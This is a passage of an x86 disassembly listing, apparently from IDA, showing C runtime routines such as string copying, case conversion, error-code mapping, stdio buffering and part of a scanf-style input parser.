		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DCFF4, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DCEC1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43CBE4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB95C, ecx
		mov	eax, offset dword_43CCF0


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43CE58
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB958, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43CCF4[edx*8]
		mov	dword_4DB958, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB958, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB958, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43D0E8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43D108
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DBB40
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB9E4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB9E4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43CBE4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C9D8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43CBE4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43CBE8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43CBE8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43CBE4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43CBE4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43CF88
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43CE60
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43CE58


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
